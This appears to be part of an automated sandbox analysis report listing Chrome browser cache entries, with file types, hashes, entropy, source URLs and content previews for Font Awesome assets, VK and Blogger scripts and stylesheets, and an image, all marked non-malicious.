Preview:	(function(sttc){'use strict';var aa,ba=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};function ca(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");} .var da=ca(this),ea=typeof Symbol==="function"&&typeof Symbol("x")==="symbol",fa={},ia={};function ja(a,b,c){if(!c\|\|a!=null){c=ia[b];if(c==null)return a[b];c=a[c];return c!==void 0?c:a[b]}} .function ka(a,b,c){if(b)a:{var d=a.split(".");a=d.length===1;var e=d[0],f;!a&&e in fa?f=fa:f=da;for(e=0;e<d.length-1;e++){var g=d[e];if(!(g in f))break a;f=f[g]}d=d[d.length-1];c=ea&&c==="es6"?f[d]:null;b=b(c);b!=null&&(a?ba(fa,d,{configurable:!0,writable:!0,value:b}):b!==c&&(ia[d]===void 0&&(a=Math.random()*1E9>>>0,ia[d]=ea?da.Symbol(d):"$jscp$"+a+

Chrome Cache Entry: 174

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 109808, version 772.1280
Category:	downloaded
Size (bytes):	109808
Entropy (8bit):	7.991306921972578
Encrypted:	true
SSDEEP:	1536:atfZvhn44XmHdou/bk+qxKmr0DFUXxD9VOJ+CYjsTGVVJ0DHRaeCNsT8PH:wPyH/A0f+XxD9ajYjsTG/QIFs8PH
MD5:	EADF228EC68267E3D8EAA01EFC4A23F3
SHA1:	7C18EC441E0E18E52ABEE9B279197E64C679FB07
SHA-256:	75511C24C556201D2A91DACE62FD5954C046DFF99B94B49D5846EE3EC19543D0
SHA-512:	A3D8A9F6422C3444674A4DFE423690A6A88DA96B8EF55F2923C040FD5626A9AA420A61B544BFBA8A5B04D871201C3496A6875F0EFB1D3870C3E88F7DFF311A4B
Malicious:	false
Reputation:	low
URL:	https://ka-f.fontawesome.com/releases/v6.4.2/webfonts/free-fa-brands-400.woff2
Preview:	wOF2...............l.............................8.$. .`..$.....\|.(.. . ..fq..".....~..:......!!.T5..?.........e`...e;.......:...._Bv..^.X.j".X.o ."N........D..0.........u>5.V.N...@7....v....J.sO6...:J.f.>.S...f.h..bT,%M..-.....~.k../A....#.G........O.73...,..+}..j%}.......>....(q.&.`....Ah...;...9..r..........{.\|...}.....}..g.$..5.c?qB.... A,.....4h)...o.m.........}...~L...+u...U]U]...,.PJ..Pf.....6..V...k.#.a2k..v.k..C.rHZ.g,c....s.........G_Hi!.,....{.o....].c.....s_.....,`.U.E..,..Y@/....0........rZ....A.G?.....d....nF(....2..L..A....W.p.!Gf.7c......1.+i'-w.7)./g.Z...-WZ.dc(.......c..W..@.Q......_.e5.%.!...J......lO...p.._.k...x..M...D9...1,.F............ .>.........{.~#...........S+...^.?.8....V....g.9?.J...U?9G/..Z.<)..e.@........7.9..T..j)..f....^......k. .r7..b.S.S..!'..M..1]p.C....6^..K..~p{h..V.....^..eM...V>.3C.U.)5y.A...P.zJ9.(d..\|N.).t,=.N.u.^....k.R..I;.OW.V.E.1..O...pUu...yV..lR.y.Z-..K....QZ......I..h.1.rL.G.(.m.[......

Chrome Cache Entry: 175

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (27377)
Category:	dropped
Size (bytes):	27592
Entropy (8bit):	4.836841501473697
Encrypted:	false
SSDEEP:	384:0fwu4Eyfd7PNRzAmReUtPAM0NuzwpmnWt:0YuqdNReUtPAM0v4E
MD5:	DA06DF503CED6EE507B5FB4FA0999F74
SHA1:	D10D67FFA9C263E24C43B1DF7FA3BA8F2DEE2C36
SHA-256:	236E285339A2A692E9491D356489CDF83513CFB1ADD049A0620123D644E47554
SHA-512:	4BB9F9B6715E2313BB4EE2405F48C4C215FB8F232A69C1D0269C2176D9E0528BCFBE91A99BCD7B0BD6696A1DE773979AADEAD29FA4D37D9A9780CABE70E18990
Malicious:	false
Reputation:	low
Preview:	/!. Font Awesome Free 6.4.2 by @fontawesome - https://fontawesome.com. * License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License). * Copyright 2023 Fonticons, Inc.. */.fa.fa-glass:before{content:"\f000"}.fa.fa-envelope-o{font-family:"Font Awesome 6 Free";font-weight:400}.fa.fa-envelope-o:before{content:"\f0e0"}.fa.fa-star-o{font-family:"Font Awesome 6 Free";font-weight:400}.fa.fa-star-o:before{content:"\f005"}.fa.fa-close:before,.fa.fa-remove:before{content:"\f00d"}.fa.fa-gear:before{content:"\f013"}.fa.fa-trash-o{font-family:"Font Awesome 6 Free";font-weight:400}.fa.fa-trash-o:before{content:"\f2ed"}.fa.fa-home:before{content:"\f015"}.fa.fa-file-o{font-family:"Font Awesome 6 Free";font-weight:400}.fa.fa-file-o:before{content:"\f15b"}.fa.fa-clock-o{font-family:"Font Awesome 6 Free";font-weight:400}.fa.fa-clock-o:before{content:"\f017"}.fa.fa-arrow-circle-o-down{font-family:"Font Awesome 6 Free";font-weight:400}.fa.fa-arrow-circle-o-dow

Chrome Cache Entry: 176

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (65518), with no line terminators
Category:	dropped
Size (bytes):	649717
Entropy (8bit):	5.467253790270043
Encrypted:	false
SSDEEP:	12288:kMSzrDUO0uZ/tMmcfiprMZ/8jVCxBYnsEfggSw2mSzM4CczgXFfkjLd:1ONGmcfh1IVCxBYnsEfNSdLd
MD5:	E8E6016F1D9085B24B85E17D22C67205
SHA1:	443055F8963BDE81D1DB4C9572D996E49B57767F
SHA-256:	509C00E160238AFDC2E124298AC73610A229F82AA90E425C38FEE624B8DE1715
SHA-512:	82FE24269A144B221BCA2A70F82CB514D6F4255AC26AD6616C55AB7CC452E35FE8F0DDB7F3BF60FEE17E1B01A176D74BE07617DED93F656A5FA7D76E06646D31
Malicious:	false
Reputation:	low
Preview:	."use strict";(self.webpackChunkvkweb=self.webpackChunkvkweb\|\|[]).push([[91498],{600111:(e,t,o)=>{o(474848),o(753457)},945242:(e,t,o)=>{o.d(t,{MessageBoxDismissButton:()=>l});var a=o(474848),r=o(753457),n=o(866467);function l({onClick:e}){return(0,a.jsx)(r.ModalDismissButton,{"aria-label":n.getLang("global_close"),onClick:e})}},499119:(e,t,o)=>{o.d(t,{MessageBoxModal:()=>p,MessageBoxModalLoader:()=>g,showMessageBoxModal:()=>_,showMessageBoxModalSuspense:()=>v,useMessageBoxHideAttempt:()=>f});var a=o(474848),r=o(296540),n=o(440961),l=o(270959),i=o(840741),d=o(634444),s=o(865708),c=o(28928),u=o(705722),m=o(142278),h=o(342809);function p({children:e,onDestroy:t,zLayer:o,onClick:c,onShow:m,...h}){const p=(0,r.useRef)(null),f=(0,r.useRef)(!1),_=(0,r.useRef)(!1),[g,v]=(0,r.useState)(null),x=(0,i.useObjectMemo)(h),C=(0,d.useStableCallback)((()=>{p.current?.hide()})),b=(0,d.useStableCallback)((()=>{_.current=!0,t()})),y=(0,r.useRef)(null),j=(0,r.useRef)(null),S=()=>{p.current?.updateBoxCoord

Chrome Cache Entry: 177

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, Exif Standard: [TIFF image data, little-endian, direntries=1, software=Google], baseline, precision 8, 320x213, components 3
Category:	downloaded
Size (bytes):	17702
Entropy (8bit):	7.960488239979479
Encrypted:	false
SSDEEP:	384:1qD1j3oebJyKvwp82WsKaK/p21i8vAj/rQIuTXBSbA2:1q3o5Kvwp/KaK4cUIuTXkbA2
MD5:	1E1B2CCEB3D372BC9548DB27F63E43A9
SHA1:	E77660D60CFCCD2CD459AA6C192D4F0E764AB253
SHA-256:	EA688D44A3623C439268F130191FF66612E267BDB9D5F0C70631D738696DF9BA
SHA-512:	1D34F83FB9F421798B27C35A27E3471FC3D44F71B9C5889CEF60DBBA37FC41085489235590E0E342D808F6C1C25FB0213549935140DFB55DE7B5461D1AAAF50B
Malicious:	false
Reputation:	low
URL:	https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEilthfx38QlHFxL3Khn-j5CJzUsOSnQZg2lra4pPbU-1I5zAKJaooQ6gOOrOTlahlInZt6kUuNhkiig5FCwcmX2FOm0sszfp5Ukg1KTW0kv76WCftXcoYq755BAS_PwEF1zZrIZA9j8At0U3keYSOFtcclOPCW9WgJpnZM4KJ0cJ-yBccegg8RUG1_Jgg7K/s320/elaosboa46275.webp
Preview:	......JFIF.............Exif..II.......1...............Google................................................................................................................................................@............................................B........................!..1A.."Q2aq....#BR...3br....$C.....Sc.................................,......................!..1"..A.2Qq#a..3...............?..-..7$...\R.ml.w..w..@.b.>.....D.A..=...x....>../x).=.i.D.r......iy......G..l..N...&...^.../D...1.S..qL%...d.p)....5...D......F..4..!.MWD.G-.o.u....z.Gn.P..y[..`;..Y>.5..P;.(......9;.T.Ly...0qL..H....2v.+..".$tq......34.Q...3f..T.A.f.@v.^..j..C.....m.#g..4ta.H8?.bG..TY\...5..?..#..ip.@.W5..$E...;.t...h?..W@...f..H..'.....oo.g....g...SnA....z.P.Trf.Fm\|B+......{..a.9.6..~f...Vrr>Wn..4..C..E.B.vt..9.l....4D...N..,..'n......qY..-..b..e..\....8[z.(l6..$.U.`..o.].B72mLH..!.5M.?..2C.'.G.>.....`.Q!M.n.....J....6h...3_0..C!/.9..}.2..3.O.~.".e.W.[V.j...vU<.ux........7

Chrome Cache Entry: 178

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (65533), with no line terminators
Category:	dropped
Size (bytes):	280673
Entropy (8bit):	4.967084268674725
Encrypted:	false
SSDEEP:	6144:gxytMqAmEyhJ/4cW+YASPmVR5mkXdwF53WT:qytRLvHYRaakl
MD5:	1450EA2D55AFA8ECDB4A0513AEF01596
SHA1:	7D8DE3FC6E983B8900C3336C5510585F7A82DB8C
SHA-256:	EEB094E0B985CDC633B5E1298B160F48A3ADEFD96657758AAE0FBA1F16841C4F
SHA-512:	2BDF70E8511DCB7DE6B9A0F9D2F6573EB25BAA98D9F6EF41CA106F039F487FCFCF453A0C682ECAE52DC235DC61D4D20CE77607D969CB816569C2BA308DFA7CC5
Malicious:	false
Reputation:	low
Preview:	."use strict";(self.webpackChunkvkweb=self.webpackChunkvkweb\|\|[]).push([[89631],{375495:(l,o,e)=>{e.d(o,{Icon12LiveBadge:()=>c});var c=(0,e(844990).makeIcon)("Icon12LiveBadge","live_badge_12","0 0 24 12",'<symbol xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 12" id="live_badge_12"><path fill="#FF3347" d="M0 4.8c0-1.68 0-2.52.327-3.162A3 3 0 0 1 1.638.327C2.28 0 3.12 0 4.8 0h14.4c1.68 0 2.52 0 3.162.327a3 3 0 0 1 1.311 1.311C24 2.28 24 3.12 24 4.8v2.4c0 1.68 0 2.52-.327 3.162a3 3 0 0 1-1.311 1.311C21.72 12 20.88 12 19.2 12H4.8c-1.68 0-2.52 0-3.162-.327a3 3 0 0 1-1.311-1.311C0 9.72 0 8.88 0 7.2z" /><path fill="#fff" d="M3.625 8.923h2.743c.344 0 .567-.19.567-.506s-.227-.506-.567-.506H4.25V3.64c0-.405-.232-.64-.625-.64S3 3.235 3 3.64v4.643c0 .405.232.64.625.64M8.684 9c.393 0 .625-.235.625-.636V3.64c0-.405-.232-.64-.625-.64s-.625.235-.625.64v4.724c0 .401.232.636.625.636m4.451 0c.484 0 .774-.21.956-.704l1.672-4.405a.9.9 0 0 0 .062-.328c0-.332-.26-.563-.641-.563-.327 0-.514

Chrome Cache Entry: 179

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ISO-8859 text, with very long lines (2839)
Category:	downloaded
Size (bytes):	270408
Entropy (8bit):	4.979439993373128
Encrypted:	false
SSDEEP:	3072:jV87Dc7w4/SuHQKL87gHzH6ZHh5QZcEuk:Z8AL8sHzHA7w
MD5:	F8081C5724EA3C8F7503758696B1108C
SHA1:	B3E713BDB3C804E12008316721AC8FB89D07AF58
SHA-256:	06D52EA5CAB70A56FA300D92B9D5894B8B8DC768A1CCA54B11E5B40BD26DDACE
SHA-512:	6F1AD442B72105105FDA4EABD5E2814EA3CDB5E273A96590143624DE0E0DF51C4479A2C794E297D346BB1E9D25B75E4A0B318E505727215C394E80261C06B04C
Malicious:	false
Reputation:	low
URL:	https://vk.com/dist/public/al/lite.f8081c5724ea3c8f7503758696b1108c.js?108
Preview:	// https://github.com/Olical/EventEmitter.(function(){"use strict";function t(){}function i(t, n){for(var e=t.length; e--;)if(t[e].listener===n)return e;return-1}function n(e){return function(){return this[e].apply(this,arguments)}}var e=t.prototype,r=this,s=r.EventEmitter;e.getListeners=function(n){var r,e,t=this._getEvents();if(n instanceof RegExp){r={};for(e in t)t.hasOwnProperty(e)&&n.test(e)&&(r[e]=t[e])}else r=t[n]\|\|(t[n]=[]);return r},e.flattenListeners=function(t){var e,n=[];for(e=0; e<t.length; e+=1)n.push(t[e].listener);return n},e.getListenersAsObject=function(n){var e,t=this.getListeners(n);return t instanceof Array&&(e={},e[n]=t),e\|\|t},e.addListener=function(r,e){var t,n=this.getListenersAsObject(r),s="object"==typeof e;for(t in n)n.hasOwnProperty(t)&&-1===i(n[t],e)&&n[t].push(s?e:{listener:e,once:!1});return this},e.on=n("addListener"),e.addOnceListener=function(e,t){return this.addListener(e,{listener:t,once:!0})},e.once=n("addOnceListener"),e.defineEvent=function(e){ret

Chrome Cache Entry: 180

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (10452), with no line terminators
Category:	dropped
Size (bytes):	10455
Entropy (8bit):	5.632877251556275
Encrypted:	false
SSDEEP:	192:lXcKxOyQ3ChPXdG/CLY8B6YJBG8i12zRvUD8CM0CfqB2IAIalYpe890ys6C:lXTXQmPg/TY/G8i12zRvUDm0COnpPWyu
MD5:	FC051D599511162099B7630A78601138
SHA1:	CA1A1958770AB068C21DCD816976CF2BB31B2F62
SHA-256:	1BCDA77A99DB58FBC06376EBA44A1A02BCC23017E1369C0D9B122F8AAEFC385D
SHA-512:	8CFD5B423611D786940CF077A7928FA1B9EE290C9B0ECC3D5011DB451A1A84C0247158550A4729308EC8BDC7B7667A952C6C811EF4C5ED3BE289E9726BF7588B
Malicious:	false
Reputation:	low
Preview:	.(()=>{"use strict";var e,i,t,a={729177:(e,i,t)=>{t.d(i,{init:()=>r});var a=t(34692),_=t(273608);function r(e){const i=cur.player;if(!i\|\|!window.postMessage)return;const t=new _.default(e);function r(){t.send("inited",n({videoId:i.getVideoId()}))}function n(e={}){return{...e,state:i.getState(),time:i.curTime(),duration:i.getDuration(),volume:i.getVolume(),quality:i.getQuality(),muted:i.isMuted()}}i.on(a.STATE_CHANGE,(function(e,i){let a=e;switch("playing"==a&&(a="unstarted"==i?"started":"resumed"),a){case"started":window.setTimeout((()=>{t.send(a,n())}),700);break;case"resumed":case"paused":case"ended":case"error":t.send(a,n())}})),i.on(a.MEDIA_TIMEUPDATE,(function(){t.send("timeupdate",n())})),i.on(a.LIVE_TIME,(function(e){t.send("timeupdate",n({time:e}))})),i.on(a.MEDIA_VOLUMECHANGE,(function(){t.send("volumechange",n())})),i.on(a.QUALITY_CHANGE,(function(){t.send("qualitychange",n())})),i.on(a.ADS_LINEAR_STARTED,(function({section:e}){cur.mvOpts.send_ad_events&&t.send("adStarted",

Chrome Cache Entry: 181

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1560)
Category:	downloaded
Size (bytes):	1775
Entropy (8bit):	5.08652029557726
Encrypted:	false
SSDEEP:	48:tvPioGysd99D9ND9dKh2EZGS1eYzs9SHgm4:dP679RNRdKbgMGSM
MD5:	9B853B50F37DD0CA770CE0F294D427DF
SHA1:	06CAFACA197AFDA406BC5A72BCD6474758E51E65
SHA-256:	6C58C4804370B9C347D517491C450416CA371FB1403ACEAA1D6F751403B07C48
SHA-512:	F2BA27F4D83632F83690D0FCBCCC5448FC9B209C5BF925F9CE14697EB5F0C8DE8839692626D2CDF988D75B279B44E79FF0B5A062E9662B79BF6F9C785BCB35E1
Malicious:	false
Reputation:	low
URL:	https://ka-f.fontawesome.com/releases/v6.4.2/css/free-v4-font-face.min.css?token=4550a72113
Preview:	/!. Font Awesome Free 6.4.2 by @fontawesome - https://fontawesome.com. * License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License). * Copyright 2023 Fonticons, Inc.. */@font-face{font-family:"FontAwesome";font-display:block;src:url(../webfonts/free-fa-solid-900.woff2) format("woff2"),url(../webfonts/free-fa-solid-900.ttf) format("truetype")}@font-face{font-family:"FontAwesome";font-display:block;src:url(../webfonts/free-fa-brands-400.woff2) format("woff2"),url(../webfonts/free-fa-brands-400.ttf) format("truetype")}@font-face{font-family:"FontAwesome";font-display:block;src:url(../webfonts/free-fa-regular-400.woff2) format("woff2"),url(../webfonts/free-fa-regular-400.ttf) format("truetype");unicode-range:u+f003,u+f006,u+f014,u+f016-f017,u+f01a-f01b,u+f01d,u+f022,u+f03e,u+f044,u+f046,u+f05c-f05d,u+f06e,u+f070,u+f087-f088,u+f08a,u+f094,u+f096-f097,u+f09d,u+f0a0,u+f0a2,u+f0a4-f0a7,u+f0c5,u+f0c7,u+f0e5-f0e6,u+f0eb,u+f0f6-f0f8,u+f10c,u+f114-f

Chrome Cache Entry: 182

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (41502), with no line terminators
Category:	downloaded
Size (bytes):	41505
Entropy (8bit):	5.439692517427417
Encrypted:	false
SSDEEP:	768:CW215k9I/oMWxhT6d9mapOFif1IzzaJLfOAOfflg539/t4NzQu8nJqY2d36Tzc+Q:CpKyNtOmm0uUmZ8T7KJyRurTjL
MD5:	5FAD193D176E214F921634575EDC6668
SHA1:	490757A3AE002CDAF2F553917775F96E6500E075
SHA-256:	7DBE441D2FA03188314F1D2150185BDA9A5D84AAB1B090114251A1E4401E12AD
SHA-512:	08DFFED640D8429563793074F955224AC51B7552AC69340FAF43A194B0489004872C0939FB161E569ECD7DD7CE24D844396EB0EA2BD860F3239D0E035BF8616F
Malicious:	false
Reputation:	low
URL:	https://st6-20.vk.com/dist/api/widgets/chunks/c3d11fba.0833d8a1.js
Preview:	."use strict";(self.webpackChunkvkwidgets=self.webpackChunkvkwidgets\|\|[]).push([[994],{38484:(t,e,s)=>{s.d(e,{browser:()=>i,browserFeatures:()=>c,mobPlatforms:()=>n,redirectToMVK:()=>d});s(26350),s(82499);var a=s(79983),o=s(61933);const r=navigator.userAgent.toLowerCase(),i={version:(r.match(/.+(?:me\|ox\|on\|rv\|it\|era\|opr\|ie\|edge)[\/: ]([\d.]+)/)\|\|[0,"0"])[1],opera:/opera/i.test(r)\|\|/opr/i.test(r),vivaldi:/vivaldi/i.test(r),amigo:/amigo.*mrchrome soc/i.test(r),msie:/msie/i.test(r)&&!/opera/i.test(r)\|\|/trident\//i.test(r)\|\|/edge/i.test(r),msie6:/msie 6/i.test(r)&&!/opera/i.test(r),msie7:/msie 7/i.test(r)&&!/opera/i.test(r),msie8:/msie 8/i.test(r)&&!/opera/i.test(r),msie9:/msie 9/i.test(r)&&!/opera/i.test(r),msie_edge:/edge/i.test(r)&&!/opera/i.test(r),mozilla:/firefox/i.test(r),yabrowser:/yabrowser/i.test(r),whale:/whale/i.test(r),chrome:/chrome/i.test(r)&&!/edge/i.test(r),safari:!/chrome/i.test(r)&&/webkit\|safari\|khtml/i.test(r),iphone:/iphone/i.test(r),ipod:/ipod/i.test(r),iphone4:/ip

Chrome Cache Entry: 183

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (35822), with no line terminators
Category:	downloaded
Size (bytes):	35822
Entropy (8bit):	5.567441189135774
Encrypted:	false
SSDEEP:	384:/V2xnOV/DOae25V3XsZ7vwHkOtOMPKXFo0fpI6V:/ynO6br5
MD5:	FB7EA6FE6F6B435448FD0EB8A2DB2E12
SHA1:	33CC931A5F17975D0A9D259A9608CFC6F75A1A4F
SHA-256:	DBCB4B8E7DBAA9D09B7DBEE23F9317EBA8AE7933BE22E798BC054C0C3B16F163
SHA-512:	35F728B98FA533C6D35DC8AF0C547CFD4C1476E58091285A4F4419846CE62D83184FE7FCF1F49C336E4CF09DADEDBC5AEA7D517164959EE75C655D8B05AE6557
Malicious:	false
Reputation:	low
URL:	https://www.blogger.com/static/v1/v-css/13464135-lightbox_bundle_rtl.css
Preview:	.CSS_HCONT_CHILDREN_HOLDER{float:left}.CSS_HCONT_CHILD{min-height:1px;float:left}.CSS_CLEAR_BOTH_NO_HEIGHT{height:0;overflow:hidden;clear:both}.CSS_LEFT_RIGHT_CONTAINER_LEFT_CHILD{float:left}.CSS_LEFT_RIGHT_CONTAINER_RIGHT_CHILD{float:right}.CSS_NINEGRID_CORNER{overflow:hidden;height:100%}.CSS_NINEGRID_BOTTOM_LEFT_CORNER,.CSS_NINEGRID_TOP_LEFT_CORNER{float:left}.CSS_NINEGRID_BOTTOM_RIGHT_CORNER,.CSS_NINEGRID_TOP_RIGHT_CORNER{float:right}.CSS_NINEGRID_BOTTOM_EDGE,.CSS_NINEGRID_TOP_EDGE{overflow:hidden;height:100%}.CSS_NINEGRID_TOP_EDGE,.CSS_NINEGRID_TOP_LEFT_CORNER,.CSS_NINEGRID_TOP_RIGHT_CORNER{position:relative}.CSS_NINEGRID_LEFT_EDGE{float:left;width:100%}.CSS_NINEGRID_CENTER{position:relative}.CSS_COMPONENT_TABLE_HCONT_TABLE{position:relative;border-spacing:0;padding:0;border-collapse:collapse}.CSS_COMPONENT_TABLE_HCONT_WRAPPING_CELL{vertical-align:top;margin:0;padding:0}.CSS_COMPONENT_TABLE_HCONT_WIDTH_HOLDER{height:0;overflow:hidden}.CSS_COMPONENT_TAB_PANE_BUTTON_SELECTED,.CSS_COM

Chrome Cache Entry: 184

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (2183)
Category:	dropped
Size (bytes):	2499
Entropy (8bit):	5.555083796078075
Encrypted:	false
SSDEEP:	48:vA2IAi5UQvj+e8CjIHbtHqoxar6pIZ9HUIjkFDHk9y8CHAQxYK/JBL:Yb5Keb07LxamE1kQyyQxYKjL
MD5:	645C1000E3FA38A58E8EFD5ADE3B8C49
SHA1:	2329576817CF18FAF6423D8D2E3A0987E2C698DA
SHA-256:	B34EF10FFF494B63E864216DC6E10072E3FCB8BC763C57B7B41849B8E4336378
SHA-512:	2D60875D5A40ACC2DD28709BBD99D1C2B4571B49E8B75F971BE9B4C09D7C8EED116303877F7C3458870FA4E78717233591CFF9D74FAD7891B713DF42B673CFBE
Malicious:	false
Reputation:	low
Preview:	// API callback.jQuery11100049902415236919184_1728945586999({"version":"1.0","encoding":"UTF-8","feed":{"xmlns":"http://www.w3.org/2005/Atom","xmlns$openSearch":"http://a9.com/-/spec/opensearchrss/1.0/","xmlns$blogger":"http://schemas.google.com/blogger/2008","xmlns$georss":"http://www.georss.org/georss","xmlns$gd":"http://schemas.google.com/g/2005","xmlns$thr":"http://purl.org/syndication/thread/1.0","id":{"$t":"tag:blogger.com,1999:blog-6282888993036066443"},"updated":{"$t":"2024-10-14T23:30:51.391+03:00"},"category":[{"term":"...... ...... ......"},{"term":"........"},{"term":"........"},{"term":".... ... .. ....."},{"term":"..... .. ......"},{"term":"..... .... ...."},{"term":".... ........."},{"term":"..."},{"term":".... ..... .. ...."},{"term":"..... ...."},{"term":"...... ......."},{"term":"....... 2"},{"term":"..... ......"},{"term":".

Chrome Cache Entry: 185

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (41880)
Category:	downloaded
Size (bytes):	365500
Entropy (8bit):	5.119318188128554
Encrypted:	false
SSDEEP:	1536:Iziw0LFD37svhb8KxktZ4pkd3yWX3MyKU4oVtS4+x+yXR0HOQ9El3/gK:I10VCxk9d3yWX354oVatXqHOQ9El3/gK
MD5:	03C46427CA59D773F9C575BAE9D58F6C
SHA1:	063B33B66734109B292810A5C309FA5187DAE9A0
SHA-256:	5F9FFAD80E04B7FB2D45987143DC56B641B641F74FD420D9D804CA60F5654205
SHA-512:	DDDA2DB384C06AB430E85BA03CCC0F4E28EEFED747D856F3930D8B0E4B7C0785310A8C0D3D03EB37FD67D5B4A10D3B92C38834F5781D6656707C8C4BC7E4C815
Malicious:	false
Reputation:	low
URL:	https://vk.com/js/loader_nav21224474149_3.js
Preview:	window.navMap = {"<void>":["al_index.php",["index.css","dist\/web\/index.js"],0,0],"<other>":["al_profile.php",["page.css","dist\/web\/page.js"],0,0],"^404$":["not_found.php",[],0,{"enabled":"web_spa_not_found","client_only":"web_spa_not_found"}],"^a_bid_platform_([A-Za-z0-9_]+)$":["business-id.php",[],0,0],"public\\d+($\|\/)":["al_public.php",["public.css","page.css","dist\/web\/public.js","dist\/web\/page.js"],0,0],"public\\d+\\\/donut_levels$":["al_public.php",["public.css","page.css","dist\/web\/public.js","dist\/web\/page.js"],0,0],"public\\d+\\\/donut_levels\\\/\\d+$":["al_public.php",["public.css","page.css","dist\/web\/public.js","dist\/web\/page.js"],0,0],"public\\d+\\?act=market_group_services":["al_public.php",[],0,0],"public\\d+\\?act=(market_group_settings\|market_group_orders\|market_group_items\|market_group_payment\|market_group_delivery\|market_group_promocodes)":["al_public.php",[],0,{"enabled":"web_spa_router_market_settings","client_only":"web_spa_router_market_settings"}

Chrome Cache Entry: 186

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (2159)
Category:	dropped
Size (bytes):	2475
Entropy (8bit):	5.5350360579549065
Encrypted:	false
SSDEEP:	48:vaIAi5UQvj+e8CjIHbtHqoxar6pIZ9HUIjr+SDHk9y89+WHAQxYK/JBL:35Keb07LxamE1r+RyY+FQxYKjL
MD5:	04D073CABFD96FAB09D1212C4BA8C3C7
SHA1:	FFD1E3F0FDB14B9F199FD900797CD3FC1E9EC78B
SHA-256:	CAE602ED14C04F9D61C14B84A753469762B9C4A709EA32250F858BDE045C213E
SHA-512:	29A6B1B7EE8E92EA34333F2B3767FA6B35A8C4E181E4182A27ED5CAF0B6DCE72CC66105B5CC3A97918A7212F2885F1B5E1364CBA01E58329DB42FCA9A870769E
Malicious:	false
Reputation:	low
Preview:	// API callback.jQuery11100049902415236919184_1728945587003({"version":"1.0","encoding":"UTF-8","feed":{"xmlns":"http://www.w3.org/2005/Atom","xmlns$openSearch":"http://a9.com/-/spec/opensearchrss/1.0/","xmlns$blogger":"http://schemas.google.com/blogger/2008","xmlns$georss":"http://www.georss.org/georss","xmlns$gd":"http://schemas.google.com/g/2005","xmlns$thr":"http://purl.org/syndication/thread/1.0","id":{"$t":"tag:blogger.com,1999:blog-6282888993036066443"},"updated":{"$t":"2024-10-14T23:30:51.391+03:00"},"category":[{"term":"...... ...... ......"},{"term":"........"},{"term":"........"},{"term":".... ... .. ....."},{"term":"..... .. ......"},{"term":"..... .... ...."},{"term":".... ........."},{"term":"..."},{"term":".... ..... .. ...."},{"term":"..... ...."},{"term":"...... ......."},{"term":"....... 2"},{"term":"..... ......"},{"term":".

Chrome Cache Entry: 187

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (608)
Category:	dropped
Size (bytes):	823
Entropy (8bit):	5.083226149740297
Encrypted:	false
SSDEEP:	24:ekvPioGlU9sd033xLpxghnd0sH3xtpx2hnd0sQ3rpAhY:tvPioGysd7DDSDDjO
MD5:	DBF296002D53E56D340B105D9D764940
SHA1:	BFC98F20287B5F7A435766ADC779BD74C4CE4280
SHA-256:	0E81443469AA4B967191CE19B7474EB223746A2B8D5DC42D3786DA84D99DFAD9
SHA-512:	E65487EAC3039B7FF1DE5127E7862F42D183690F757F6DA409A319FA3EAC1A35E42FFF237B28D21E36717723492A5A41B23255F565FFB9FF5486395F18CB2836
Malicious:	false
Reputation:	low
Preview:	/!. Font Awesome Free 6.4.2 by @fontawesome - https://fontawesome.com. * License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License). * Copyright 2023 Fonticons, Inc.. */@font-face{font-family:"Font Awesome 5 Brands";font-display:block;font-weight:400;src:url(../webfonts/free-fa-brands-400.woff2) format("woff2"),url(../webfonts/free-fa-brands-400.ttf) format("truetype")}@font-face{font-family:"Font Awesome 5 Free";font-display:block;font-weight:900;src:url(../webfonts/free-fa-solid-900.woff2) format("woff2"),url(../webfonts/free-fa-solid-900.ttf) format("truetype")}@font-face{font-family:"Font Awesome 5 Free";font-display:block;font-weight:400;src:url(../webfonts/free-fa-regular-400.woff2) format("woff2"),url(../webfonts/free-fa-regular-400.ttf) format("truetype")}

Chrome Cache Entry: 188

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (28233)
Category:	dropped
Size (bytes):	74477
Entropy (8bit):	5.793759622548341
Encrypted:	false
SSDEEP:	1536:SYXUFxkyipWYB4mfpMpQQYjWmB+fpMpQQYjWDHmzE3XAZa2:DmkyitBZ6p0jhB+6p0joHmz/ZH
